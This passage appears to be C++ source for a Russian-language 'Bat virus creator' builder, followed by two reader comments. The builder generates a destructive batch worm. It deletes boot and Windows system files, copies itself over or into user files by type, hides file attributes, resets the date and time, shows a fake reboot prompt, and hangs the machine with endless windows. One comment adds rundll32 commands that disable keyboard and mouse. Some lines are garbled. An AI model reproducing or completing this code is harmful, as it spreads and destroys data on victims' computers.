file.open(«worm.bat»,ios::app);
file<<endl<<«deltree /y c:\\Autoexec.bat»;
file.close();
}
if(a==2)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«deltree /y c:\\boot.ini»;
file.close();
}
if(a==3)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«deltree /y c:\\io.sys»;
file.close();
}
if(a==4)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«deltree /y c:\\config.sys»;
file.close();
}
if(a==5)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«deltree /y c:\\msdos.sys»;
file.close();
}
if(a==6)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«deltree /y %windir%\\win.ini»;
file.close();
}
if(a==7)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«deltree /y %windir%\\system.ini»;
file.close();
}
if(a==8)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«c:\\windows\\*.*»;
file.close();
}
if(a==9)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«c:\\windows»;
file.close();
}

}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<«\t Заражать файлы.»<<endl;
cout<<«1 — Все файлы.»<<endl;
cout<<«2 — ZIP — файлы.»<<endl;
cout<<«3 — TXT — файлы.»<<endl;
cout<<«4 — BAT — файлы.»<<endl;
cout<<«5 — RAR — файлы.»<<endl;
cout<<«6 — Не нужно заражать.»<<endl<<» : «;
cin>>a;
if(a==1)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«@For %%g in (*.*) do copy %0 %%g «;
file.close();
}
if(a==2)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«@For %%g in (*.zip) do pkzip %%g %0 «;
file.close();
}
if(a==3)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«@For %%g in (*.txt) do copy %%g %0 «;
file.close();
}
if(a==4)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl&l
t;<«@For %%g in (*.bat) do copy %%g %0 «;
file.close();
}
if(a==5)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«@For %%g in (*.rar) do rar %%g %0 «;
file.close();
}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<«\t Снятие и установка новых атрибутов для файла.»<<endl;
cout<<«1 — Снять атрибуты.»<<endl;
cout<<«2 — Поставить атрибуты.»<<endl;
cout<<«3 — Не нужно.»<<endl<<» : «;
cin>>a;
if(a==1)
{
cout<<«Введи путь к файлу, если осталось место вводи \»>>>>> nul\».»<<endl;
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«attrib «;
for(i=0;i<15;i++)
{
cin>>A[i];
file<<A[i];
}
file<<endl<<» -h -a -s -r»;
file.close();
}
if(a==2)
{
cout<<«Введи путь к файлу, если осталось место вводи \»;\».»<<endl;
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«attrib «;
for(i=0;i<15;i++)
{
cin>>A[i];
file<<A[i];
}
file<<endl<<» +h +a +s +r»;
file.close();
}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<» Изменить дату или время :»<<endl;
cout<<«1 — Да»<<endl;
cout<<«2 — Нет»<<endl;
cin>>a;
if(a==1)
{
//—————-
clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<» Что изменять? :»<<endl;
cout<<«1 — Дату»<<endl;
cout<<«2 — Время»<<endl;
cout<<«3 — Сбросить все»<<endl;
cin>>a;
if(a==1)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«@date 00-00-00»;

file.close();
}
if(a==2)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«@time 00:00:00,0»;
file.close();
}
if(a==3)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«@date 00-00-00»;
file<<endl<<«@time 00:00:00,0»;
file.close();
}}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<» Попросить у пользователя перезагрузки :»<<endl;
cout<<«1 — Да»<<endl;
cout<<«2 — Нет»<<endl;
cin>>a;
if(a==1)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«echo var WSHShell = WScript.CreateObject(\\\»WScript.Shell\\\»); > %temp%\\mes.js»;
file<<endl<<«echo WSHShell.Popup(\»Warning,!! А теперь необходимо перезагрузиться\»); >> %temp%\\mes.js»;
file<<endl<<«start %temp%\\mes.js»;
file.close();
}
if(a==2)
{
return 0;
}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<» Как закончить программу ?»<<endl;
cout<<«1 — Выйти»<<endl;
cout<<«2 — Попросить нажать клавишу»<<endl;
cout<<«3 — Повесить компьютер (Начать открывать кругом окошки)»<<endl;
cin>>a;
if(a==2)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«pause»;
file.close();
}
if(a==3)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«:a»;
file<<endl<<«start &0»;
file<<endl<<«goto a»;
file.close();

}

if(a==1)
{
clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<» Как выйти из программы ?»<<endl;
cout<<«1 — Exit»<<endl;
cout<<«2 — Pause»<<endl;
cout<<«3 — Cls»<<endl;
cin>>a;
if(a==1)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«exit»;
file.close();
}
if(a==2)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«pause»;
file.close();
}
if(a==3)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«cls»;
file.close();
}

}
//Menu 1

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<«Вирус готов нажмите ‘Y’ для выхода.»<<endl;
cout<<«Сам вирус лежит в той же папке, где была программа.»<<endl;

}
cout<<«\t Exit [Y/N] : «;
cin>>ex;
}
while (ex == ‘n’ || ex == ‘N’); // Запрос на выход из программы
}

2 комментария
  1. na XP sp2
    rundll32 keyboard,disable
    $ rundll32 mouse,disable
    pihet ohibky pri zagruzke keyboard , ne naiden ukazannbl modul6
    kak eto ispravit6?
    yura-191@mail.ru
    bydy o4en6 blagodaren!! <]:-{

  2. Visual C++ 2006
    102 ошибки и 1 предупреждение
    нанаходит кучу каталогов и файлов
    сам смысл проги и тупому будет ясен
    в ближайшее время постораюся выложить более корректную версу и файл CPP

Добавить комментарий




*